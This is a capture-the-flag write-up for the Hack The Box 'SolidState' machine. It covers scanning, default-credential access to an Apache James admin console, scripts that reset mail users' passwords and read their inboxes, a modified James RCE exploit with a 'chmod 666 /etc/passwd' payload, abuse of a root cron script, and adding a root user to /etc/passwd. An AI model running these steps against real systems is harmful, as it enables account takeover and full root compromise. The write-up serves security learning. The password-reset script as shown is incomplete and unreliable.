Htb – solidstate

Nmap udp scan top 1000

```
SNIPPED

Nmap scan report for solidstate.htb (10.129.29.189)
Host is up (0.23s latency).
Not shown: 996 closed ports
PORT     STATE         SERVICE
68/udp   open|filtered dhcpc
631/udp  open|filtered ipp
1900/udp open|filtered upnp
5353/udp open|filtered zeroconf

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1089.50 seconds
           Raw packets sent: 1449 (65.447KB) | Rcvd: 75698 (4.880MB)
┌─[user@parrot]─[~]
└──╼ $sudo nmap -sU -v -n solidstate.htb
```

Nmap scan verbose all ports

```
SNIPPED

PORT     STATE SERVICE
22/tcp   open  ssh
25/tcp   open  smtp
80/tcp   open  http
110/tcp  open  pop3
119/tcp  open  nntp
4555/tcp open  rsip

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 706.96 seconds
┌─[user@parrot]─[~]
└──╼ $nmap -v -p- -n solidstate.htb
```

Nmap default script scan, and version scan

```
SNIPPED

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
| ssh-hostkey:
|   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
|   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
|_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
25/tcp   open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
80/tcp   open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Home - Solid State Security
| http-methods:
|_  Supported Methods: POST OPTIONS HEAD GET
110/tcp  open  pop3?
119/tcp  open  nntp?
4555/tcp open  rsip?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
Initiating NSE at 00:13
Completed NSE at 00:13, 0.00s elapsed
Initiating NSE at 00:13
Completed NSE at 00:13, 0.00s elapsed
Initiating NSE at 00:13
Completed NSE at 00:13, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
```

```
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 389.43 seconds
┌─[user@parrot]─[~]
└──╼ $nmap -v -p22,25,80,110,119,4555 -n solidstate.htb -sC -sV
```

Nikto scan

```
┌─[user@parrot]─[~]
└──╼ $nikto -h solidstate.htb
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.129.29.189
+ Target Hostname:    solidstate.htb
+ Target Port:        80
+ Start Time:         2021-08-26 00:09:09 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent
to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to
render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 1e60, size:
5610a1e7a4c9b, mtime: gzip
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache
2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: POST, OPTIONS, HEAD, GET
+ OSVDB-3268: /images/: Directory indexing found.
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7785 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2021-08-26 00:39:03 (GMT8) (1794 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

Gobuster dir scan big.txt wordlist from seclist

```
┌─[user@parrot]─[~]
└──╼   $gobuster   dir   -u   http://solidstate.htb   -w   /SecLists/Discovery/Web-
Content/big.txt -e
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://solidstate.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /SecLists/Discovery/Web-Content/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
2021/08/26 00:10:28 Starting gobuster in directory enumeration mode
===============================================================
http://solidstate.htb/.htpasswd            (Status: 403) [Size: 298]
http://solidstate.htb/.htaccess            (Status: 403) [Size: 298]
http://solidstate.htb/assets                       (Status: 301) [Size: 317] [-->
http://solidstate.htb/assets/]
http://solidstate.htb/images                       (Status: 301) [Size: 317] [-->
http://solidstate.htb/images/]
http://solidstate.htb/server-status        (Status: 403) [Size: 302
```

Potential exploits apache

```
------------------------------------------------------------------------ ----------------------------
 Exploit Title                                                          |  Path
------------------------------------------------------------------------ ----------------------------
Apache + PHP < 5.3.12 / < 5.4.2 - cgi-bin Remote Code Execution         | php/remote/29290.c
Apache + PHP < 5.3.12 / < 5.4.2 - Remote Code Execution + Scanner       | php/remote/29316.py
Apache 2.4.17 < 2.4.38 - 'apache2ctl graceful' 'logrotate' Local Privi | linux/local/46676.php
Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak                        | linux/webapps/42745.py
Apache CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service                     | multiple/dos/26710.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow    | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow | unix/remote/47080.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow | unix/remote/764.c
Apache OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traversal     | linux/webapps/39642.txt
Apache Tomcat < 5.5.17 - Remote Directory Listing                       | multiple/remote/2061.txt
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal                     | unix/remote/14489.c
Apache Tomcat < 6.0.18 - 'utf8' Directory Traversal (PoC)               | multiple/remote/6229.txt
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upl | jsp/webapps/42966.py
Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP Upl | windows/webapps/42953.txt
Apache Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)            | linux/dos/36906.txt
Webfroot Shoutbox < 2.32 (Apache) - Local File Inclusion / Remote Code | linux/remote/34.pl
```

Smtp enum

```
┌─[user@parrot]─[~]
└──╼ $telnet
telnet> open solidstate.htb 25
Trying 10.129.29.189...
Connected to solidstate.htb.
Escape character is '^]'.
220 solidstate SMTP Server (JAMES SMTP Server 2.3.2) ready Wed, 25 Aug 2021 12:27:37
-0400 (EDT)
```

Pop enum

```
┌─[user@parrot]─[~]
└──╼ $telnet solidstate.htb 110
Trying 10.129.29.189...
Connected to solidstate.htb.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
```

Potential exploit apache james server

```
┌─[user@parrot]─[~]
└──╼ $searchsploit james
------------------------------------------------------------------------ ----------------------------
 Exploit Title                                                          |  Path
------------------------------------------------------------------------ ----------------------------
Apache James Server 2.2 - SMTP Denial of Service                        | multiple/dos/27915.pl
Apache James Server 2.3.2 - Insecure User Creation Arbitrary File Writ  | linux/remote/48130.rb
Apache James Server 2.3.2 - Remote Command Execution                    | linux/remote/35513.py
WheresJames Webcam Publisher Beta 2.0.0014 - Remote Buffer Overflow     | windows/remote/944.c
------------------------------------------------------------------------ ----------------------------
Shellcodes: No Results
------------------------------------------------------------------------ ----------------------------
 Paper Title                                                            |  Path
------------------------------------------------------------------------ ----------------------------
Exploiting Apache James Server 2.3.2                                    | docs/english/40123-exploiting-ap
------------------------------------------------------------------------ ----------------------------
```

Port 4555 enum, default credentials working

```
┌─[user@parrot]─[~]
└──╼ $telnet solidstate.htb 4555
Trying 10.129.29.189...
Connected to solidstate.htb.
Escape character is '^]'.
```

```
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:
root
Password:
root
Welcome root. HELP for a list of commands
```

List of users

```
SNIPPED

Welcome root. HELP for a list of commands
help
Currently implemented commands:
help                                    display this help
listusers                               display existing accounts
countusers                              display the number of existing accounts
adduser [username] [password]           add a new user
verify [username]                       verify if specified user exist
deluser [username]                      delete existing user
setpassword [username] [password]       sets a user's password
setalias [user] [alias]                   locally forwards all email for 'user' to
'alias'
showalias [username]                    shows a user's current email alias
unsetalias [user]                       unsets an alias for 'user'
setforwarding [username] [emailaddress] forwards a user's email to another email
address
showforwarding [username]               shows a user's current email forwarding
unsetforwarding [username]              removes a forward
user [repositoryname]                   change to another user repository
shutdown                                kills the current JVM (convenient when James
is run as a daemon)
quit                                    close connection
listusers
Existing accounts 5
user: james
user: thomas
user: john
user: mindy
user: mailadmin
```

Code to reset password

```
#!/usr/bin/python3
import socket

HOST = '10.129.29.189'
PORT = 4555
BUF = 1024

listOfUsers = ["james", "thomas", "john", "mindy", "mailadmin"]

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.connect((HOST, PORT))

    # BANNER
    res = sock.recv(BUF).decode()
    print(res)

    # Login id:
    sock.sendall(b'root\r\n')

    # Password:
    res = sock.recv(BUF).decode()
    print(res)
    sock.sendall(b'root\r\n')
```

Results

```
JAMES Remote Administration Tool 2.3.2
Please enter your login and password
Login id:

Password:

Welcome root. HELP for a list of commands

Password for james reset

Password for thomas reset

Password for john reset

Password for mindy reset

Password for mailadmin reset
```

Code to list emails on user inbox

```
#!/usr/bin/python3
import socket

HOST = '10.129.29.189'
PORT = 110
BUF = 1024

listOfUsers = ["james", "thomas", "john", "mindy", "mailadmin"]

for user in listOfUsers:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
        sock.connect((HOST, PORT))

        # +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
        res = sock.recv(BUF).decode()
        print(res)
        cmd = f"USER {user}\r\n"
        sock.sendall(cmd.encode())

        # +OK
        res = sock.recv(BUF).decode()
        print(res)

        cmd = f"PASS password\r\n"
        sock.sendall(cmd.encode())

        # +OK
        res = sock.recv(BUF).decode()
        print(res)

        # list
        sock.sendall(b"list\r\n")
        res = sock.recv(BUF).decode()
        print(res)

        # +OK Apache James POP3 Server signing off.
        sock.sendall(b"quit\r\n")
```

Results, only john and mindy had emails

```
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready

+OK

+OK Welcome james

+OK 0 0
```

```
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready

+OK

+OK Welcome thomas

+OK 0 0

+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready

+OK

+OK Welcome john

+OK 1 743

+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready

+OK

+OK Welcome mindy

+OK 2 1945

+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready

+OK

+OK Welcome mailadmin

+OK 0 0
```

Mindy mail

```
┌─[✗]─[user@parrot]─[~]
└──╼ $telnet solidstate 110
Trying 10.129.29.189...
Connected to solidstate.htb.
Escape character is '^]'.
+OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
user mindy
+OK
pass password
+OK Welcome mindy
list
+OK 2 1945
1 1109
2 836
.
retr 1
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
From: mailadmin@localhost
Subject: Welcome

Dear Mindy,
```

```
Welcome to Solid State Security Cyber team! We are delighted you are joining us as a
junior defense analyst. Your role is critical in fulfilling the mission of our
orginzation. The enclosed information is designed to serve as an introduction to
Cyber Security and provide resources that will help you make a smooth transition into
your new role. The Cyber team is here to support your transition so, please know that
you can call on any of us to assist you.

We are looking forward to you joining our team and your success at Solid State
Security.

Respectfully,
James
.
retr 2
+OK Message follows
Return-Path: <mailadmin@localhost>
Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: mindy@localhost
Received: from 192.168.11.142 ([192.168.11.142])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
          for <mindy@localhost>;
          Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
From: mailadmin@localhost
Subject: Your Access

Dear Mindy,


Here are your ssh credentials to access the system. Remember to reset your password
after your first login.
Your access is restricted at the moment, feel free to ask your supervisor to add any
commands you need to your path.

username: mindy
pass: P@55W0rd1!2@

Respectfully,
James

.
Connection closed by foreign host.
```

Mindy in rbash

```
┌─[user@parrot]─[~]
└──╼ $ssh mindy@solidstate.htb
The authenticity of host 'solidstate.htb (10.129.29.189)' can't be established.
ECDSA key fingerprint is SHA256:njQxYC21MJdcSfcgKOpfTedDAXx50SYVGPCfChsGwI0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'solidstate.htb,10.129.29.189' (ECDSA) to the list of
known hosts.
mindy@solidstate.htb's password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142
mindy@solidstate:~$ sudo -l
-rbash: sudo: command not found
mindy@solidstate:~$
```

Environment variables

```
mindy@solidstate:~$ export -p
declare -x DBUS_SESSION_BUS_ADDRESS="unix:path=/run/user/1001/bus"
declare -x HOME="/home/mindy"
declare -x LANG="en_US.UTF-8"
declare -x LC_ADDRESS="en_GB.UTF-8"
declare -x LC_IDENTIFICATION="en_GB.UTF-8"
declare -x LC_MEASUREMENT="en_GB.UTF-8"
declare -x LC_MONETARY="en_GB.UTF-8"
declare -x LC_NAME="en_GB.UTF-8"
declare -x LC_NUMERIC="en_GB.UTF-8"
declare -x LC_PAPER="en_GB.UTF-8"
declare -x LC_TELEPHONE="en_GB.UTF-8"
declare -x LC_TIME="en_GB.UTF-8"
declare -x LOGNAME="mindy"
declare -x MAIL="/var/mail/mindy"
declare -x OLDPWD
declare -rx PATH="/home/mindy/bin"
declare -x PWD="/home/mindy"
declare -rx SHELL="/bin/rbash"
declare -x SHLVL="1"
declare -x SSH_CLIENT="10.10.16.12 43112 22"
declare -x SSH_CONNECTION="10.10.16.12 43112 10.129.29.189 22"
declare -x SSH_TTY="/dev/pts/0"
declare -x TERM="xterm-256color"
declare -x USER="mindy"
declare -x XDG_RUNTIME_DIR="/run/user/1001"
declare -x XDG_SESSION_ID="35"
```

rbash breakout

```
┌─[✗]─[user@parrot]─[~]
└──╼ $ssh mindy@solidstate.htb -t "bash --noprofile"
mindy@solidstate.htb's password:
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ echo $SHELL
/bin/rbash
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ ls -lah
total 28K
drwxr-x--- 4 mindy mindy 4.0K Nov 18  2020 .
drwxr-xr-x 4 root  root  4.0K Aug 22  2017 ..
lrwxrwxrwx 1 root  root     9 Nov 18  2020 .bash_history -> /dev/null
-rw-r--r-- 1 root  root     0 Aug 22  2017 .bash_logout
-rw-r--r-- 1 root  root   338 Aug 22  2017 .bash_profile
-rw-r--r-- 1 root  root  1001 Aug 22  2017 .bashrc
-rw------- 1 root  root     0 Aug 22  2017 .rhosts
-rw------- 1 root  root     0 Aug 22  2017 .shosts
drw------- 2 root  root  4.0K Aug 22  2017 .ssh
drwxr-x--- 2 mindy mindy 4.0K Aug 22  2017 bin
-rw------- 1 mindy mindy   33 Nov 18  2020 user.txt
${debian_chroot:+($debian_chroot)}mindy@solidstate:~$ cd /
${debian_chroot:+($debian_chroot)}mindy@solidstate:/$
```

Change login shell

```
${debian_chroot:+($debian_chroot)}mindy@solidstate:/$ chsh
Password:
Changing the login shell for mindy
Enter the new value, or press ENTER for the default
       Login Shell [/bin/rbash]: /bin/bash
${debian_chroot:+($debian_chroot)}mindy@solidstate:/$
```

Changing environment variables

```
┌─[user@parrot]─[~]
└──╼ $ssh mindy@solidstate.htb
mindy@solidstate.htb's password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686
```

```
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug 25 13:30:37 2021 from 10.10.16.12
mindy@solidstate:~$ sudo -l
-bash: sudo: command not found
mindy@solidstate:~$ echo $SHELL
/bin/bash
mindy@solidstate:~$ echo $PATH
/home/mindy/bin
mindy@solidstate:~$ export PATH=/bin:/sbin:/usr/bin:/usr/sbin
mindy@solidstate:~$ echo $PATH
/bin:/sbin:/usr/bin:/usr/sbin
mindy@solidstate:~$ sudo -l
-bash: sudo: command not found
mindy@solidstate:~$ whereis sudo
sudo:
mindy@solidstate:~$
```

User flag

```
mindy@solidstate:~$ cat user.txt
0510e71c2e8c9cb333b36a38080d0dc2
mindy@solidstate:~$
```

Seems like its going nowhere right now, so using exploit

```
Apache James Server 2.3.2 - Remote Command Execution                    |
linux/remote/35513.py
```

Modify exploit

```
# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user
#payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root
payload = 'chmod 666 /etc/passwd'
# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'
```

```
┌─[user@parrot]─[~/Desktop/htb/solidstate]
└──╼ $python2 exploit.py 10.129.29.189
[+]Connecting to James Remote Administration Tool...
[+]Creating user...
[+]Connecting to James SMTP server...
[+]Sending payload...
[+]Done! Payload will be executed once somebody logs in.
```

Seems like no go, maybe due to some files in mindy being owned by root?

```
┌─[user@parrot]─[~]
└──╼ $ssh mindy@solidstate.htb
mindy@solidstate.htb's password:
Linux solidstate 4.9.0-3-686-pae #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Aug 25 13:32:09 2021 from 10.10.16.12
-bash:  $'\254\355\005sr\036org.apache.james.core.MailImpl\304x\r\345\274\317003\ؚ':
command not found
-bash: L: command not found
```

```
-bash: attributestLjava/util/HashMap: No such file or directory
-bash: L
        errorMessagetLjava/lang/String: No such file or directory
-bash: L
        lastUpdatedtLjava/util/Date: No such file or directory
-bash: Lmessaget!Ljavax/mail/internet/MimeMessage: No such file or directory
-bash: $'L\004nameq~\002L': command not found
-bash: recipientstLjava/util/Collection: No such file or directory
-bash: L: command not found
-bash: $'remoteAddrq~\002L': command not found
-bash: remoteHostq~LsendertLorg/apache/mailet/MailAddress: No such file or directory
-bash:    $'\221\222\204m\307{\244\002\003I\003posL\004hostq~\002L\004userq~\002xp':
command not found
-bash: $'L\005stateq~\002xpsr\035org.apache.mailet.MailAddress': command not found
-bash: @team.pl>
Message-ID: <28046011.0.1629913555392.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: ../../../../../../../../etc/bash_completion.d@localhost
Received: from 10.10.16.12 ([10.10.16.12])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 946
          for <../../../../../../../../etc/bash_completion.d@localhost>;
          Wed, 25 Aug 2021 13:45:35 -0400 (EDT)
Date: Wed, 25 Aug 2021 13:45:35 -0400 (EDT)
From: team@team.pl

: No such file or directory
chmod: changing permissions of '/etc/passwd': Operation not permitted
-bash: $'\r': command not found
```

Important linpeas results

```
═══════════════════════════════╣                System                Information
╠═══════════════════════════════
╔═══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits
Linux version 4.9.0-3-686-pae (debian-kernel@lists.debian.org) (gcc version 6.3.0
20170516 (D
ebian 6.3.0-18) ) #1 SMP Debian 4.9.30-2+deb9u3 (2017-08-06)
Distributor ID:     Debian
Description:  Debian GNU/Linux 9.0 (stretch)
Release:      9.0
Codename:     stretch

SNIPPED

╔═══════════╣ Interesting writable files owned by me or writable by everyone (not in
Home) (max 500)
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
/dev/mqueue
/dev/shm
/home/mindy
/opt/tmp.py
```

Output of psyp32, seems like /opt/tmp.py script runs every 3 minutes

```
2021/08/25 14:00:01 CMD: UID=0    PID=17231  | /usr/sbin/CRON -f
2021/08/25 14:00:01 CMD: UID=0    PID=17232  | /usr/sbin/CRON -f
2021/08/25 14:00:01 CMD: UID=0    PID=17233  | /bin/sh -c python /opt/tmp.py
2021/08/25 14:00:01 CMD: UID=0    PID=17234  | python /opt/tmp.py
2021/08/25 14:00:01 CMD: UID=0    PID=17235  | rm -r /tmp/pspy32

2021/08/25 14:03:01 CMD: UID=0    PID=17272  | /usr/sbin/CRON -f
2021/08/25 14:03:01 CMD: UID=0    PID=17273  | /bin/sh -c python /opt/tmp.py
2021/08/25 14:03:01 CMD: UID=0    PID=17274  |
2021/08/25 14:03:01 CMD: UID=0    PID=17275  | python /opt/tmp.py
2021/08/25 14:03:01 CMD: UID=0    PID=17276  | sh -c rm -r /tmp/*
```

Modify script

```
mindy@solidstate:/tmp$ cat /opt/tmp.py
#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/*; chmod 666 /etc/passwd')
except:
     sys.exit()
```

/etc/passwd is writable

```
mindy@solidstate:/tmp$ ls -l /etc/passwd
-rw-rw-rw- 1 root root 2106 Aug 25 13:31 /etc/passwd
mindy@solidstate:/tmp$
```

Add additional user

```
mindy@solidstate:/tmp$ vi /etc/passwd
mindy@solidstate:/tmp$ head /etc/passwd
root:x:0:0:root:/root:/bin/bash
myroot:$1$K6qQ6kQ4$OXzRSP8fN0q0rHU9ny1BO/:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
mindy@solidstate:/tmp$
```

Escalate to root

```
mindy@solidstate:/tmp$ su - myroot
Password:
-su:    $'\254\355\005sr\036org.apache.james.core.MailImpl\304x\r\345\274\317003\j':
command not found
-su: L: command not found
-su: attributestLjava/util/HashMap: No such file or directory
-su: L
      errorMessagetLjava/lang/String: No such file or directory
-su: L
      lastUpdatedtLjava/util/Date: No such file or directory
-su: Lmessaget!Ljavax/mail/internet/MimeMessage: No such file or directory
-su: $'L\004nameq~\002L': command not found
-su: recipientstLjava/util/Collection: No such file or directory
-su: L: command not found
-su: $'remoteAddrq~\002L': command not found
-su: remoteHostq~LsendertLorg/apache/mailet/MailAddress: No such file or directory
-su:      $'\221\222\204m\307{\244\002\003I\003posL\004hostq~\002L\004userq~\002xp':
command not found
-su: $'L\005stateq~\002xpsr\035org.apache.mailet.MailAddress': command not found
-su: @team.pl>
Message-ID: <28046011.0.1629913555392.JavaMail.root@solidstate>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Delivered-To: ../../../../../../../../etc/bash_completion.d@localhost
Received: from 10.10.16.12 ([10.10.16.12])
          by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 946
          for <../../../../../../../../etc/bash_completion.d@localhost>;
          Wed, 25 Aug 2021 13:45:35 -0400 (EDT)
Date: Wed, 25 Aug 2021 13:45:35 -0400 (EDT)
From: team@team.pl

: No such file or directory
-su: $'\r': command not found
```

```
root@solidstate:~# cd /root
root@solidstate:~# ls -lah
total 56K
drwx------  8 root root 4.0K Dec  7  2020 .
drwxr-xr-x 22 root root 4.0K Jun 18  2017 ..
-rw-r--r--  1 root root  158 Dec  7  2020 awk
lrwxrwxrwx  1 root root    9 Nov 18  2020 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  8 root root 4.0K Aug 22  2017 .cache
drwx------ 10 root root 4.0K Aug 22  2017 .config
drwx------  3 root root 4.0K Aug 22  2017 .gnupg
-rw-------  1 root root 2.9K Sep  8  2017 .ICEauthority
drwx------  3 root root 4.0K Aug 22  2017 .local
drwxr-xr-x  2 root root 4.0K Aug 22  2017 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-------  1 root root   33 Nov 18  2020 root.txt
-rw-r--r--  1 root root   66 Aug 22  2017 .selected_editor
drwx------  2 root root 4.0K Aug 22  2017 .ssh
root@solidstate:~# cat root.txt
4f4afb55463c3bc79ab1e906b074953d
root@solidstate:~#
```